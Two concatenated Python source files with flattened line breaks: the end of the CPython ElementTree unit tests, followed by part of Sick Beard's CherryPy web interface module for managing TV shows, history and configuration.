io.StringIO('''<?xml version="1.0"?><site></site>''') reader = self.dummy() reader.read = stream.read tree = ET.ElementTree() tree.parse(reader) self.assertEqual(tree.getroot().tag, 'site') def test_write_to_user_text_writer(self): tree = ET.ElementTree(ET.XML('''<site />''')) stream = io.StringIO() writer = self.dummy() writer.write = stream.write tree.write(writer, encoding='unicode') self.assertEqual(stream.getvalue(), '''<site />''') def test_read_from_user_binary_reader(self): raw = io.BytesIO(b'''<?xml version="1.0"?><site></site>''') reader = self.dummy() reader.read = raw.read tree = ET.ElementTree() tree.parse(reader) self.assertEqual(tree.getroot().tag, 'site') tree = ET.ElementTree() def test_write_to_user_binary_writer(self): tree = ET.ElementTree(ET.XML('''<site />''')) raw = io.BytesIO() writer = self.dummy() writer.write = raw.write tree.write(writer) self.assertEqual(raw.getvalue(), b'''<site />''') def test_write_to_user_binary_writer_with_bom(self): tree = ET.ElementTree(ET.XML('''<site />''')) raw = io.BytesIO() writer = self.dummy() writer.write = raw.write writer.seekable = lambda: True writer.tell = raw.tell tree.write(writer, encoding="utf-16") self.assertEqual(raw.getvalue(), '''<?xml version='1.0' encoding='utf-16'?>\n''' '''<site />'''.encode("utf-16")) def test_tostringlist_invariant(self): root = ET.fromstring('<tag>foo</tag>') self.assertEqual( ET.tostring(root, 'unicode'), ''.join(ET.tostringlist(root, 'unicode'))) self.assertEqual( ET.tostring(root, 'utf-16'), b''.join(ET.tostringlist(root, 'utf-16'))) class ParseErrorTest(unittest.TestCase): def test_subclass(self): self.assertIsInstance(ET.ParseError(), SyntaxError) def _get_error(self, s): try: ET.fromstring(s) except ET.ParseError as e: return e def test_error_position(self): self.assertEqual(self._get_error('foo').position, (1, 0)) self.assertEqual(self._get_error('<tag>&foo;</tag>').position, (1, 5)) self.assertEqual(self._get_error('foobar<').position, (1, 6)) def test_error_code(self): import xml.parsers.expat.errors as ERRORS self.assertEqual(self._get_error('foo').code, ERRORS.codes[ERRORS.XML_ERROR_SYNTAX]) class KeywordArgsTest(unittest.TestCase): # Test various issues with keyword arguments passed to ET.Element # constructor and methods def test_issue14818(self): x = ET.XML("<a>foo</a>") self.assertEqual(x.find('a', None), x.find(path='a', namespaces=None)) self.assertEqual(x.findtext('a', None, None), x.findtext(path='a', default=None, namespaces=None)) self.assertEqual(x.findall('a', None), x.findall(path='a', namespaces=None)) self.assertEqual(list(x.iterfind('a', None)), list(x.iterfind(path='a', namespaces=None))) self.assertEqual(ET.Element('a').attrib, {}) elements = [ ET.Element('a', dict(href="#", id="foo")), ET.Element('a', attrib=dict(href="#", id="foo")), ET.Element('a', dict(href="#"), id="foo"), ET.Element('a', href="#", id="foo"), ET.Element('a', dict(href="#", id="foo"), href="#", id="foo"), ] for e in elements: self.assertEqual(e.tag, 'a') self.assertEqual(e.attrib, dict(href="#", id="foo")) e2 = ET.SubElement(elements[0], 'foobar', attrib={'key1': 'value1'}) self.assertEqual(e2.attrib['key1'], 'value1') with self.assertRaisesRegex(TypeError, 'must be dict, not str'): ET.Element('a', "I'm not a dict") with self.assertRaisesRegex(TypeError, 'must be dict, not str'): ET.Element('a', attrib="I'm not a dict") # -------------------------------------------------------------------- class NoAcceleratorTest(unittest.TestCase): def setUp(self): if not pyET: raise unittest.SkipTest('only for the Python version') # Test that the C accelerator was not imported for pyET def test_correct_import_pyET(self): self.assertEqual(pyET.Element.__module__, 'xml.etree.ElementTree') self.assertEqual(pyET.SubElement.__module__, 'xml.etree.ElementTree') # -------------------------------------------------------------------- class CleanContext(object): """Provide default namespace mapping and path cache.""" checkwarnings = None def __init__(self, quiet=False): if sys.flags.optimize >= 2: # under -OO, doctests cannot be run and therefore not all warnings # will be emitted quiet = True deprecations = ( # Search behaviour is broken if search path starts with "/". ("This search is broken in 1.3 and earlier, and will be fixed " "in a future version. If you rely on the current behaviour, " "change it to '.+'", FutureWarning), # Element.getchildren() and Element.getiterator() are deprecated. ("This method will be removed in future versions. " "Use .+ instead.", DeprecationWarning), ("This method will be removed in future versions. " "Use .+ instead.", PendingDeprecationWarning)) self.checkwarnings = support.check_warnings(*deprecations, quiet=quiet) def __enter__(self): from xml.etree import ElementPath self._nsmap = ET.register_namespace._namespace_map # Copy the default namespace mapping self._nsmap_copy = self._nsmap.copy() # Copy the path cache (should be empty) self._path_cache = ElementPath._cache ElementPath._cache = self._path_cache.copy() self.checkwarnings.__enter__() def __exit__(self, *args): from xml.etree import ElementPath # Restore mapping and path cache self._nsmap.clear() self._nsmap.update(self._nsmap_copy) ElementPath._cache = self._path_cache self.checkwarnings.__exit__(*args) def test_main(module=None): # When invoked without a module, runs the Python ET tests by loading pyET. # Otherwise, uses the given module as the ET. global pyET pyET = import_fresh_module('xml.etree.ElementTree', blocked=['_elementtree']) if module is None: module = pyET global ET ET = module test_classes = [ ModuleTest, ElementSlicingTest, BasicElementTest, ElementTreeTest, IOTest, ParseErrorTest, XIncludeTest, ElementTreeTypeTest, ElementFindTest, ElementIterTest, TreeBuilderTest, XMLParserTest, BugsTest, ] # These tests will only run for the pure-Python version that doesn't import # _elementtree. We can't use skipUnless here, because pyET is filled in only # after the module is loaded. if pyET is not ET: test_classes.extend([ NoAcceleratorTest, ]) try: # XXX the C module should give the same warnings as the Python module with CleanContext(quiet=(pyET is not ET)): support.run_unittest(*test_classes) finally: # don't interfere with subsequent tests ET = pyET = None if __name__ == '__main__': test_main()
codeparrot/github-code-clean
# Author: Nic Wolfe <nic@wolfeden.ca> # URL: http://code.google.com/p/sickbeard/ # # This file is part of Sick Beard. # # Sick Beard is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # Sick Beard is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Sick Beard. If not, see <http://www.gnu.org/licenses/>. from __future__ import with_statement import os.path import time import urllib import re import threading import datetime import random import locale from Cheetah.Template import Template import cherrypy.lib import sickbeard from sickbeard import config, sab from sickbeard import clients from sickbeard import history, notifiers, processTV from sickbeard import ui from sickbeard import logger, helpers, exceptions, classes, db from sickbeard import encodingKludge as ek from sickbeard import search_queue from sickbeard import image_cache from sickbeard import scene_exceptions from sickbeard import naming from sickbeard import subtitles from sickbeard.providers import newznab from sickbeard.common import Quality, Overview, statusStrings from sickbeard.common import SNATCHED, SKIPPED, UNAIRED, IGNORED, ARCHIVED, WANTED from sickbeard.exceptions import ex from sickbeard.webapi import Api from lib.tvdb_api import tvdb_api from lib.dateutil import tz import network_timezones import subliminal try: import json except ImportError: from lib import simplejson as json try: import xml.etree.cElementTree as etree except ImportError: import xml.etree.ElementTree as etree from sickbeard import browser class PageTemplate (Template): def __init__(self, *args, **KWs): KWs['file'] = os.path.join(sickbeard.PROG_DIR, "data/interfaces/default/", KWs['file']) super(PageTemplate, self).__init__(*args, **KWs) self.sbRoot = sickbeard.WEB_ROOT self.sbHttpPort = sickbeard.WEB_PORT self.sbHttpsPort = sickbeard.WEB_PORT self.sbHttpsEnabled = sickbeard.ENABLE_HTTPS if cherrypy.request.headers['Host'][0] == '[': self.sbHost = re.match("^\[.*\]", cherrypy.request.headers['Host'], re.X|re.M|re.S).group(0) else: self.sbHost = re.match("^[^:]+", cherrypy.request.headers['Host'], re.X|re.M|re.S).group(0) self.projectHomePage = "http://code.google.com/p/sickbeard/" if sickbeard.NZBS and sickbeard.NZBS_UID and sickbeard.NZBS_HASH: logger.log(u"NZBs.org has been replaced, please check the config to configure the new provider!", logger.ERROR) ui.notifications.error("NZBs.org Config Update", "NZBs.org has a new site. Please <a href=\""+sickbeard.WEB_ROOT+"/config/providers\">update your config</a> with the api key from <a href=\"http://nzbs.org/login\">http://nzbs.org</a> and then disable the old NZBs.org provider.") if "X-Forwarded-Host" in cherrypy.request.headers: self.sbHost = cherrypy.request.headers['X-Forwarded-Host'] if "X-Forwarded-Port" in cherrypy.request.headers: self.sbHttpPort = cherrypy.request.headers['X-Forwarded-Port'] self.sbHttpsPort = self.sbHttpPort if "X-Forwarded-Proto" in cherrypy.request.headers: self.sbHttpsEnabled = True if cherrypy.request.headers['X-Forwarded-Proto'] == 'https' else False logPageTitle = 'Logs &amp; Errors' if len(classes.ErrorViewer.errors): logPageTitle += ' ('+str(len(classes.ErrorViewer.errors))+')' self.logPageTitle = logPageTitle self.sbPID = str(sickbeard.PID) self.menu = [ { 'title': 'Home', 'key': 'home' }, { 'title': 'Coming Episodes', 'key': 'comingEpisodes' }, { 'title': 'History', 'key': 'history' }, { 'title': 'Manage', 'key': 'manage' }, { 'title': 'Config', 'key': 'config' }, { 'title': logPageTitle, 'key': 'errorlogs' }, ] def redirect(abspath, *args, **KWs): assert abspath[0] == '/' raise cherrypy.HTTPRedirect(sickbeard.WEB_ROOT + abspath, *args, **KWs) class TVDBWebUI: def __init__(self, config, log=None): self.config = config self.log = log def selectSeries(self, allSeries): searchList = ",".join([x['id'] for x in allSeries]) showDirList = "" for curShowDir in self.config['_showDir']: showDirList += "showDir="+curShowDir+"&" redirect("/home/addShows/addShow?" + showDirList + "seriesList=" + searchList) def _munge(string): return unicode(string).encode('utf-8', 'xmlcharrefreplace') def _genericMessage(subject, message): t = PageTemplate(file="genericMessage.tmpl") t.submenu = HomeMenu() t.subject = subject t.message = message return _munge(t) def _getEpisode(show, season, episode): if show == None or season == None or episode == None: return "Invalid parameters" showObj = sickbeard.helpers.findCertainShow(sickbeard.showList, int(show)) if showObj == None: return "Show not in show list" epObj = showObj.getEpisode(int(season), int(episode)) if epObj == None: return "Episode couldn't be retrieved" return epObj ManageMenu = [ { 'title': 'Backlog Overview', 'path': 'manage/backlogOverview' }, { 'title': 'Manage Searches', 'path': 'manage/manageSearches' }, { 'title': 'Episode Status Management', 'path': 'manage/episodeStatuses' }, { 'title': 'Manage Missed Subtitles', 'path': 'manage/subtitleMissed' }, ] if sickbeard.USE_SUBTITLES: ManageMenu.append({ 'title': 'Missed Subtitle Management', 'path': 'manage/subtitleMissed' }) class ManageSearches: @cherrypy.expose def index(self): t = PageTemplate(file="manage_manageSearches.tmpl") #t.backlogPI = sickbeard.backlogSearchScheduler.action.getProgressIndicator() t.backlogPaused = sickbeard.searchQueueScheduler.action.is_backlog_paused() #@UndefinedVariable t.backlogRunning = sickbeard.searchQueueScheduler.action.is_backlog_in_progress() #@UndefinedVariable t.searchStatus = sickbeard.currentSearchScheduler.action.amActive #@UndefinedVariable t.submenu = ManageMenu return _munge(t) @cherrypy.expose def forceSearch(self): # force it to run the next time it looks result = sickbeard.currentSearchScheduler.forceRun() if result: logger.log(u"Search forced") ui.notifications.message('Episode search started', 'Note: RSS feeds may not be updated if retrieved recently') redirect("/manage/manageSearches") @cherrypy.expose def pauseBacklog(self, paused=None): if paused == "1": sickbeard.searchQueueScheduler.action.pause_backlog() #@UndefinedVariable else: sickbeard.searchQueueScheduler.action.unpause_backlog() #@UndefinedVariable redirect("/manage/manageSearches") @cherrypy.expose def forceVersionCheck(self): # force a check to see if there is a new version result = sickbeard.versionCheckScheduler.action.check_for_new_version(force=True) #@UndefinedVariable if result: logger.log(u"Forcing version check") redirect("/manage/manageSearches") class Manage: manageSearches = ManageSearches() @cherrypy.expose def index(self): t = PageTemplate(file="manage.tmpl") t.submenu = ManageMenu return _munge(t) @cherrypy.expose def showEpisodeStatuses(self, tvdb_id, whichStatus): myDB = db.DBConnection() status_list = [int(whichStatus)] if status_list[0] == SNATCHED: status_list = Quality.SNATCHED + Quality.SNATCHED_PROPER + Quality.SNATCHED_FRENCH cur_show_results = myDB.select("SELECT season, episode, name FROM tv_episodes WHERE showid = ? AND season != 0 AND status IN ("+','.join(['?']*len(status_list))+")", [int(tvdb_id)] + status_list) result = {} for cur_result in cur_show_results: cur_season = int(cur_result["season"]) cur_episode = int(cur_result["episode"]) if cur_season not in result: result[cur_season] = {} result[cur_season][cur_episode] = cur_result["name"] return json.dumps(result) @cherrypy.expose def episodeStatuses(self, whichStatus=None): if whichStatus: whichStatus = int(whichStatus) status_list = [whichStatus] if status_list[0] == SNATCHED: status_list = Quality.SNATCHED + Quality.SNATCHED_PROPER + Quality.SNATCHED_FRENCH else: status_list = [] t = PageTemplate(file="manage_episodeStatuses.tmpl") t.submenu = ManageMenu t.whichStatus = whichStatus # if we have no status then this is as far as we need to go if not status_list: return _munge(t) myDB = db.DBConnection() status_results = myDB.select("SELECT show_name, tv_shows.tvdb_id as tvdb_id FROM tv_episodes, tv_shows WHERE tv_episodes.status IN ("+','.join(['?']*len(status_list))+") AND season != 0 AND tv_episodes.showid = tv_shows.tvdb_id ORDER BY show_name", status_list) ep_counts = {} show_names = {} sorted_show_ids = [] for cur_status_result in status_results: cur_tvdb_id = int(cur_status_result["tvdb_id"]) if cur_tvdb_id not in ep_counts: ep_counts[cur_tvdb_id] = 1 else: ep_counts[cur_tvdb_id] += 1 show_names[cur_tvdb_id] = cur_status_result["show_name"] if cur_tvdb_id not in sorted_show_ids: sorted_show_ids.append(cur_tvdb_id) t.show_names = show_names t.ep_counts = ep_counts t.sorted_show_ids = sorted_show_ids return _munge(t) @cherrypy.expose def changeEpisodeStatuses(self, oldStatus, newStatus, *args, **kwargs): status_list = [int(oldStatus)] if status_list[0] == SNATCHED: status_list = Quality.SNATCHED + Quality.SNATCHED_PROPER + Quality.SNATCHED_FRENCH to_change = {} # make a list of all shows and their associated args for arg in kwargs: tvdb_id, what = arg.split('-') # we don't care about unchecked checkboxes if kwargs[arg] != 'on': continue if tvdb_id not in to_change: to_change[tvdb_id] = [] to_change[tvdb_id].append(what) myDB = db.DBConnection() for cur_tvdb_id in to_change: # get a list of all the eps we want to change if they just said "all" if 'all' in to_change[cur_tvdb_id]: all_eps_results = myDB.select("SELECT season, episode FROM tv_episodes WHERE status IN ("+','.join(['?']*len(status_list))+") AND season != 0 AND showid = ?", status_list + [cur_tvdb_id]) all_eps = [str(x["season"])+'x'+str(x["episode"]) for x in all_eps_results] to_change[cur_tvdb_id] = all_eps Home().setStatus(cur_tvdb_id, '|'.join(to_change[cur_tvdb_id]), newStatus, direct=True) redirect('/manage/episodeStatuses') @cherrypy.expose def showSubtitleMissed(self, tvdb_id, whichSubs): myDB = db.DBConnection() cur_show_results = myDB.select("SELECT season, episode, name, subtitles FROM tv_episodes WHERE showid = ? AND season != 0 AND status LIKE '%4'", [int(tvdb_id)]) result = {} for cur_result in cur_show_results: if whichSubs == 'all': if len(set(cur_result["subtitles"].split(',')).intersection(set(subtitles.wantedLanguages()))) >= len(subtitles.wantedLanguages()): continue elif whichSubs in cur_result["subtitles"].split(','): continue cur_season = int(cur_result["season"]) cur_episode = int(cur_result["episode"]) if cur_season not in result: result[cur_season] = {} if cur_episode not in result[cur_season]: result[cur_season][cur_episode] = {} result[cur_season][cur_episode]["name"] = cur_result["name"] result[cur_season][cur_episode]["subtitles"] = ",".join(subliminal.language.Language(subtitle).alpha2 for subtitle in cur_result["subtitles"].split(',')) if not cur_result["subtitles"] == '' else '' return json.dumps(result) @cherrypy.expose def subtitleMissed(self, whichSubs=None): t = PageTemplate(file="manage_subtitleMissed.tmpl") t.submenu = ManageMenu t.whichSubs = whichSubs if not whichSubs: return _munge(t) myDB = db.DBConnection() status_results = myDB.select("SELECT show_name, tv_shows.tvdb_id as tvdb_id, tv_episodes.subtitles subtitles FROM tv_episodes, tv_shows WHERE tv_shows.subtitles = 1 AND tv_episodes.status LIKE '%4' AND tv_episodes.season != 0 AND tv_episodes.showid = tv_shows.tvdb_id ORDER BY show_name") ep_counts = {} show_names = {} sorted_show_ids = [] for cur_status_result in status_results: if whichSubs == 'all': if len(set(cur_status_result["subtitles"].split(',')).intersection(set(subtitles.wantedLanguages()))) >= len(subtitles.wantedLanguages()): continue elif whichSubs in cur_status_result["subtitles"].split(','): continue cur_tvdb_id = int(cur_status_result["tvdb_id"]) if cur_tvdb_id not in ep_counts: ep_counts[cur_tvdb_id] = 1 else: ep_counts[cur_tvdb_id] += 1 show_names[cur_tvdb_id] = cur_status_result["show_name"] if cur_tvdb_id not in sorted_show_ids: sorted_show_ids.append(cur_tvdb_id) t.show_names = show_names t.ep_counts = ep_counts t.sorted_show_ids = sorted_show_ids return _munge(t) @cherrypy.expose def downloadSubtitleMissed(self, *args, **kwargs): to_download = {} # make a list of all shows and their associated args for arg in kwargs: tvdb_id, what = arg.split('-') # we don't care about unchecked checkboxes if kwargs[arg] != 'on': continue if tvdb_id not in to_download: to_download[tvdb_id] = [] to_download[tvdb_id].append(what) for cur_tvdb_id in to_download: # get a list of all the eps we want to download subtitles if they just said "all" if 'all' in to_download[cur_tvdb_id]: myDB = db.DBConnection() all_eps_results = myDB.select("SELECT season, episode FROM tv_episodes WHERE status LIKE '%4' AND season != 0 AND showid = ?", [cur_tvdb_id]) to_download[cur_tvdb_id] = [str(x["season"])+'x'+str(x["episode"]) for x in all_eps_results] for epResult in to_download[cur_tvdb_id]: season, episode = epResult.split('x'); show = sickbeard.helpers.findCertainShow(sickbeard.showList, int(cur_tvdb_id)) subtitles = show.getEpisode(int(season), int(episode)).downloadSubtitles() redirect('/manage/subtitleMissed') @cherrypy.expose def backlogShow(self, tvdb_id): show_obj = helpers.findCertainShow(sickbeard.showList, int(tvdb_id)) if show_obj: sickbeard.backlogSearchScheduler.action.searchBacklog([show_obj]) #@UndefinedVariable redirect("/manage/backlogOverview") @cherrypy.expose def backlogOverview(self): t = PageTemplate(file="manage_backlogOverview.tmpl") t.submenu = ManageMenu myDB = db.DBConnection() showCounts = {} showCats = {} showSQLResults = {} for curShow in sickbeard.showList: epCounts = {} epCats = {} epCounts[Overview.SKIPPED] = 0 epCounts[Overview.WANTED] = 0 epCounts[Overview.QUAL] = 0 epCounts[Overview.GOOD] = 0 epCounts[Overview.UNAIRED] = 0 epCounts[Overview.SNATCHED] = 0 sqlResults = myDB.select("SELECT * FROM tv_episodes WHERE showid = ? ORDER BY season DESC, episode DESC", [curShow.tvdbid]) for curResult in sqlResults: curEpCat = curShow.getOverview(int(curResult["status"])) epCats[str(curResult["season"]) + "x" + str(curResult["episode"])] = curEpCat epCounts[curEpCat] += 1 showCounts[curShow.tvdbid] = epCounts showCats[curShow.tvdbid] = epCats showSQLResults[curShow.tvdbid] = sqlResults t.showCounts = showCounts t.showCats = showCats t.showSQLResults = showSQLResults return _munge(t) @cherrypy.expose def massEdit(self, toEdit=None): t = PageTemplate(file="manage_massEdit.tmpl") t.submenu = ManageMenu if not toEdit: redirect("/manage") showIDs = toEdit.split("|") showList = [] for curID in showIDs: curID = int(curID) showObj = helpers.findCertainShow(sickbeard.showList, curID) if showObj: showList.append(showObj) flatten_folders_all_same = True last_flatten_folders = None paused_all_same = True last_paused = None frenched_all_same = True last_frenched = None quality_all_same = True last_quality = None subtitles_all_same = True last_subtitles = None lang_all_same = True last_lang_metadata= None lang_audio_all_same = True last_lang_audio = None root_dir_list = [] for curShow in showList: cur_root_dir = ek.ek(os.path.dirname, curShow._location) if cur_root_dir not in root_dir_list: root_dir_list.append(cur_root_dir) # if we know they're not all the same then no point even bothering if paused_all_same: # if we had a value already and this value is different then they're not all the same if last_paused not in (curShow.paused, None): paused_all_same = False else: last_paused = curShow.paused if frenched_all_same: # if we had a value already and this value is different then they're not all the same if last_frenched not in (curShow.frenchsearch, None): frenched_all_same = False else: last_frenched = curShow.frenchsearch if flatten_folders_all_same: if last_flatten_folders not in (None, curShow.flatten_folders): flatten_folders_all_same = False else: last_flatten_folders = curShow.flatten_folders if quality_all_same: if last_quality not in (None, curShow.quality): quality_all_same = False else: last_quality = curShow.quality if subtitles_all_same: if last_subtitles not in (None, curShow.subtitles): subtitles_all_same = False else: last_subtitles = curShow.subtitles if lang_all_same: if last_lang_metadata not in (None, curShow.lang): lang_all_same = False else: last_lang_metadata = curShow.lang if lang_audio_all_same: if last_lang_audio not in (None, curShow.audio_lang): lang_audio_all_same = False else: last_lang_audio = curShow.audio_lang t.showList = toEdit t.paused_value = last_paused if paused_all_same else None t.frenched_value = last_frenched if frenched_all_same else None t.flatten_folders_value = last_flatten_folders if flatten_folders_all_same else None t.quality_value = last_quality if quality_all_same else None t.subtitles_value = last_subtitles if subtitles_all_same else None t.root_dir_list = root_dir_list t.lang_value = last_lang_metadata if lang_all_same else None t.audio_value = last_lang_audio if lang_audio_all_same else None return _munge(t) @cherrypy.expose def massEditSubmit(self, paused=None, frenched=None, flatten_folders=None, quality_preset=False, subtitles=None, anyQualities=[], bestQualities=[], tvdbLang=None, audioLang = None, toEdit=None, *args, **kwargs): dir_map = {} for cur_arg in kwargs: if not cur_arg.startswith('orig_root_dir_'): continue which_index = cur_arg.replace('orig_root_dir_', '') end_dir = kwargs['new_root_dir_'+which_index] dir_map[kwargs[cur_arg]] = end_dir showIDs = toEdit.split("|") errors = [] for curShow in showIDs: curErrors = [] showObj = helpers.findCertainShow(sickbeard.showList, int(curShow)) if not showObj: continue cur_root_dir = ek.ek(os.path.dirname, showObj._location) cur_show_dir = ek.ek(os.path.basename, showObj._location) if cur_root_dir in dir_map and cur_root_dir != dir_map[cur_root_dir]: new_show_dir = ek.ek(os.path.join, dir_map[cur_root_dir], cur_show_dir) logger.log(u"For show "+showObj.name+" changing dir from "+showObj._location+" to "+new_show_dir) else: new_show_dir = showObj._location if paused == 'keep': new_paused = showObj.paused else: new_paused = True if paused == 'enable' else False new_paused = 'on' if new_paused else 'off' if frenched == 'keep': new_frenched = showObj.frenchsearch else: new_frenched = True if frenched == 'enable' else False new_frenched = 'on' if new_frenched else 'off' if flatten_folders == 'keep': new_flatten_folders = showObj.flatten_folders else: new_flatten_folders = True if flatten_folders == 'enable' else False new_flatten_folders = 'on' if new_flatten_folders else 'off' if subtitles == 'keep': new_subtitles = showObj.subtitles else: new_subtitles = True if subtitles == 'enable' else False new_subtitles = 'on' if new_subtitles else 'off' if quality_preset == 'keep': anyQualities, bestQualities = Quality.splitQuality(showObj.quality) if tvdbLang == 'None': new_lang = 'en' else: new_lang = tvdbLang if audioLang == 'keep': new_audio_lang = showObj.audio_lang; else: new_audio_lang = audioLang exceptions_list = [] curErrors += Home().editShow(curShow, new_show_dir, anyQualities, bestQualities, exceptions_list, new_flatten_folders, new_paused, new_frenched, subtitles=new_subtitles, tvdbLang=new_lang, audio_lang=new_audio_lang, directCall=True) if curErrors: logger.log(u"Errors: "+str(curErrors), logger.ERROR) errors.append('<b>%s:</b>\n<ul>' % showObj.name + ' '.join(['<li>%s</li>' % error for error in curErrors]) + "</ul>") if len(errors) > 0: ui.notifications.error('%d error%s while saving changes:' % (len(errors), "" if len(errors) == 1 else "s"), " ".join(errors)) redirect("/manage") @cherrypy.expose def massUpdate(self, toUpdate=None, toRefresh=None, toRename=None, toDelete=None, toMetadata=None, toSubtitle=None): if toUpdate != None: toUpdate = toUpdate.split('|') else: toUpdate = [] if toRefresh != None: toRefresh = toRefresh.split('|') else: toRefresh = [] if toRename != None: toRename = toRename.split('|') else: toRename = [] if toSubtitle != None: toSubtitle = toSubtitle.split('|') else: toSubtitle = [] if toDelete != None: toDelete = toDelete.split('|') else: toDelete = [] if toMetadata != None: toMetadata = toMetadata.split('|') else: toMetadata = [] errors = [] refreshes = [] updates = [] renames = [] subtitles = [] for curShowID in set(toUpdate+toRefresh+toRename+toSubtitle+toDelete+toMetadata): if curShowID == '': continue showObj = sickbeard.helpers.findCertainShow(sickbeard.showList, int(curShowID)) if showObj == None: continue if curShowID in toDelete: showObj.deleteShow() # don't do anything else if it's being deleted continue if curShowID in toUpdate: try: sickbeard.showQueueScheduler.action.updateShow(showObj, True) #@UndefinedVariable updates.append(showObj.name) except exceptions.CantUpdateException, e: errors.append("Unable to update show "+showObj.name+": "+ex(e)) # don't bother refreshing shows that were updated anyway if curShowID in toRefresh and curShowID not in toUpdate: try: sickbeard.showQueueScheduler.action.refreshShow(showObj) #@UndefinedVariable refreshes.append(showObj.name) except exceptions.CantRefreshException, e: errors.append("Unable to refresh show "+showObj.name+": "+ex(e)) if curShowID in toRename: sickbeard.showQueueScheduler.action.renameShowEpisodes(showObj) #@UndefinedVariable renames.append(showObj.name) if curShowID in toSubtitle: sickbeard.showQueueScheduler.action.downloadSubtitles(showObj) #@UndefinedVariable subtitles.append(showObj.name) if len(errors) > 0: ui.notifications.error("Errors encountered", '<br >\n'.join(errors)) messageDetail = "" if len(updates) > 0: messageDetail += "<br /><b>Updates</b><br /><ul><li>" messageDetail += "</li><li>".join(updates) messageDetail += "</li></ul>" if len(refreshes) > 0: messageDetail += "<br /><b>Refreshes</b><br /><ul><li>" messageDetail += "</li><li>".join(refreshes) messageDetail += "</li></ul>" if len(renames) > 0: messageDetail += "<br /><b>Renames</b><br /><ul><li>" messageDetail += "</li><li>".join(renames) messageDetail += "</li></ul>" if len(subtitles) > 0: messageDetail += "<br /><b>Subtitles</b><br /><ul><li>" messageDetail += "</li><li>".join(subtitles) messageDetail += "</li></ul>" if len(updates+refreshes+renames+subtitles) > 0: ui.notifications.message("The following actions were queued:", messageDetail) redirect("/manage") class History: @cherrypy.expose def index(self, limit=100): myDB = db.DBConnection() # sqlResults = myDB.select("SELECT h.*, show_name, name FROM history h, tv_shows s, tv_episodes e WHERE h.showid=s.tvdb_id AND h.showid=e.showid AND h.season=e.season AND h.episode=e.episode ORDER BY date DESC LIMIT "+str(numPerPage*(p-1))+", "+str(numPerPage)) if limit == "0": sqlResults = myDB.select("SELECT h.*, show_name FROM history h, tv_shows s WHERE h.showid=s.tvdb_id ORDER BY date DESC") else: sqlResults = myDB.select("SELECT h.*, show_name FROM history h, tv_shows s WHERE h.showid=s.tvdb_id ORDER BY date DESC LIMIT ?", [limit]) t = PageTemplate(file="history.tmpl") t.historyResults = sqlResults t.limit = limit t.submenu = [ { 'title': 'Clear History', 'path': 'history/clearHistory' }, { 'title': 'Trim History', 'path': 'history/trimHistory' }, { 'title': 'Trunc Episode Links', 'path': 'history/truncEplinks' }, { 'title': 'Trunc Episode List Processed', 'path': 'history/truncEpListProc' }, ] return _munge(t) @cherrypy.expose def clearHistory(self): myDB = db.DBConnection() myDB.action("DELETE FROM history WHERE 1=1") ui.notifications.message('History cleared') redirect("/history") @cherrypy.expose def trimHistory(self): myDB = db.DBConnection() myDB.action("DELETE FROM history WHERE date < "+str((datetime.datetime.today()-datetime.timedelta(days=30)).strftime(history.dateFormat))) ui.notifications.message('Removed history entries greater than 30 days old') redirect("/history") @cherrypy.expose def truncEplinks(self): myDB = db.DBConnection() nbep=myDB.select("SELECT count(*) from episode_links") myDB.action("DELETE FROM episode_links WHERE 1=1") messnum = str(nbep[0][0]) + ' history links deleted' ui.notifications.message('All Episode Links Removed', messnum) redirect("/history") @cherrypy.expose def truncEpListProc(self): myDB = db.DBConnection() nbep=myDB.select("SELECT count(*) from processed_files") myDB.action("DELETE FROM processed_files WHERE 1=1") messnum = str(nbep[0][0]) + ' record for file processed delete' ui.notifications.message('Clear list of file processed', messnum) redirect("/history") ConfigMenu = [ { 'title': 'General', 'path': 'config/general/' }, { 'title': 'Search Settings', 'path': 'config/search/' }, { 'title': 'Search Providers', 'path': 'config/providers/' }, { 'title': 'Subtitles Settings','path': 'config/subtitles/' }, { 'title': 'Post Processing', 'path': 'config/postProcessing/' }, { 'title': 'Notifications', 'path': 'config/notifications/' }, ] class ConfigGeneral: @cherrypy.expose def index(self): t = PageTemplate(file="config_general.tmpl") t.submenu = ConfigMenu return _munge(t) @cherrypy.expose def saveRootDirs(self, rootDirString=None): sickbeard.ROOT_DIRS = rootDirString sickbeard.save_config() @cherrypy.expose def saveAddShowDefaults(self, defaultFlattenFolders, defaultStatus, anyQualities, bestQualities, audio_lang, subtitles=None): if anyQualities: anyQualities = anyQualities.split(',') else: anyQualities = [] if bestQualities: bestQualities = bestQualities.split(',') else: bestQualities = [] newQuality = Quality.combineQualities(map(int, anyQualities), map(int, bestQualities)) sickbeard.STATUS_DEFAULT = int(defaultStatus) sickbeard.QUALITY_DEFAULT = int(newQuality) sickbeard.AUDIO_SHOW_DEFAULT = str(audio_lang) if defaultFlattenFolders == "true": defaultFlattenFolders = 1 else: defaultFlattenFolders = 0 sickbeard.FLATTEN_FOLDERS_DEFAULT = int(defaultFlattenFolders) if subtitles == "true": subtitles = 1 else: subtitles = 0 sickbeard.SUBTITLES_DEFAULT = int(subtitles) sickbeard.save_config() @cherrypy.expose def generateKey(self): """ Return a new randomized API_KEY """ try: from hashlib import md5 except ImportError: from md5 import md5 # Create some values to seed md5 t = str(time.time()) r = str(random.random()) # Create the md5 instance and give it the current time m = md5(t) # Update the md5 instance with the random variable m.update(r) # Return a hex digest of the md5, eg 49f68a5c8493ec2c0bf489821c21fc3b logger.log(u"New API generated") return m.hexdigest() @cherrypy.expose def saveGeneral(self, log_dir=None, web_port=None, web_log=None, web_ipv6=None, update_shows_on_start=None,launch_browser=None, web_username=None, use_api=None, api_key=None, web_password=None, version_notify=None, enable_https=None, https_cert=None, https_key=None, sort_article=None, french_column=None): results = [] if web_ipv6 == "on": web_ipv6 = 1 else: web_ipv6 = 0 if web_log == "on": web_log = 1 else: web_log = 0 if launch_browser == "on": launch_browser = 1 else: launch_browser = 0 if update_shows_on_start == "on": update_shows_on_start = 1 else: update_shows_on_start = 0 if sort_article == "on": sort_article = 1 else: sort_article = 0 if french_column == "on": french_column = 1 else: french_column= 0 if version_notify == "on": version_notify = 1 else: version_notify = 0 if not config.change_LOG_DIR(log_dir): results += ["Unable to create directory " + os.path.normpath(log_dir) + ", log dir not changed."] sickbeard.UPDATE_SHOWS_ON_START = update_shows_on_start sickbeard.LAUNCH_BROWSER = launch_browser sickbeard.SORT_ARTICLE = sort_article 